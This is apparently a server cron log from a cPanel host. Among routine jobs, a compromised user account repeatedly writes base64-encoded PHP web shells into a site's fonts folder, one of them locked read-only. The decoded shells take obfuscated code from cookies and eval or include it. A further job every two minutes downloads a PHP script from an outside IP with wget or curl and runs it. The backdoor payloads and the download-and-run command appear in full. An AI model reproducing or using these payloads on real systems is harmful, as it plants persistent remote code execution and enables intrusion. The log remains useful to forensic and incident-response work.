Sep 10 02:57:02 ip-184-168-122-23 CROND[20982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:57:02 ip-184-168-122-23 CROND[20983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:58:01 ip-184-168-122-23 CROND[21063]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:58:01 ip-184-168-122-23 CROND[21068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:58:01 ip-184-168-122-23 CROND[21069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:58:01 ip-184-168-122-23 CROND[21066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:58:01 ip-184-168-122-23 CROND[21067]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:59:01 ip-184-168-122-23 CROND[21147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:59:01 ip-184-168-122-23 CROND[21150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:59:01 ip-184-168-122-23 CROND[21149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:59:01 ip-184-168-122-23 CROND[21152]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:00:01 ip-184-168-122-23 CROND[21305]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 03:00:01 ip-184-168-122-23 CROND[21309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:00:01 ip-184-168-122-23 CROND[21311]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 03:00:01 ip-184-168-122-23 CROND[21313]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 03:00:01 ip-184-168-122-23 CROND[21315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:00:01 ip-184-168-122-23 CROND[21314]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:00:01 ip-184-168-122-23 CROND[21318]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:00:01 ip-184-168-122-23 CROND[21317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:01:01 ip-184-168-122-23 CROND[21409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:01:01 ip-184-168-122-23 CROND[21411]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 03:01:01 ip-184-168-122-23 CROND[21412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:01:01 ip-184-168-122-23 CROND[21414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:01:01 ip-184-168-122-23 CROND[21415]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 03:01:01 ip-184-168-122-23 CROND[21413]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21411]: starting 0anacron
Sep 10 03:01:01 ip-184-168-122-23 anacron[21432]: Anacron started on 2026-09-10
Sep 10 03:01:01 ip-184-168-122-23 anacron[21432]: Will run job `cron.daily' in 49 min.
Sep 10 03:01:01 ip-184-168-122-23 anacron[21432]: Jobs will be executed sequentially
Sep 10 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21434]: finished 0anacron
Sep 10 03:02:01 ip-184-168-122-23 CROND[21529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:02:01 ip-184-168-122-23 CROND[21530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:02:01 ip-184-168-122-23 CROND[21532]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:02:01 ip-184-168-122-23 CROND[21535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:02:01 ip-184-168-122-23 CROND[21536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:03:02 ip-184-168-122-23 CROND[21623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:03:02 ip-184-168-122-23 CROND[21624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:03:02 ip-184-168-122-23 CROND[21625]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:03:02 ip-184-168-122-23 CROND[21627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:04:01 ip-184-168-122-23 CROND[21725]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:04:01 ip-184-168-122-23 CROND[21728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:04:01 ip-184-168-122-23 CROND[21729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:04:01 ip-184-168-122-23 CROND[21727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:04:01 ip-184-168-122-23 CROND[21730]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:05:01 ip-184-168-122-23 CROND[21821]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:05:01 ip-184-168-122-23 CROND[21824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:05:01 ip-184-168-122-23 CROND[21823]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 03:05:01 ip-184-168-122-23 CROND[21825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:05:01 ip-184-168-122-23 CROND[21826]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 03:05:01 ip-184-168-122-23 CROND[21827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:05:01 ip-184-168-122-23 CROND[21829]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 03:06:01 ip-184-168-122-23 CROND[22010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:06:01 ip-184-168-122-23 CROND[22014]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:06:01 ip-184-168-122-23 CROND[22012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:06:01 ip-184-168-122-23 CROND[22015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:06:01 ip-184-168-122-23 CROND[22013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:07:01 ip-184-168-122-23 CROND[22103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:07:01 ip-184-168-122-23 CROND[22105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:07:01 ip-184-168-122-23 CROND[22107]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:07:01 ip-184-168-122-23 CROND[22110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:08:01 ip-184-168-122-23 CROND[22183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 03:08:01 ip-184-168-122-23 CROND[22184]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 03:08:01 ip-184-168-122-23 CROND[22186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:08:01 ip-184-168-122-23 CROND[22188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:08:01 ip-184-168-122-23 CROND[22187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:09:01 ip-184-168-122-23 CROND[22277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:09:01 ip-184-168-122-23 CROND[22278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 03:09:01 ip-184-168-122-23 CROND[22280]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
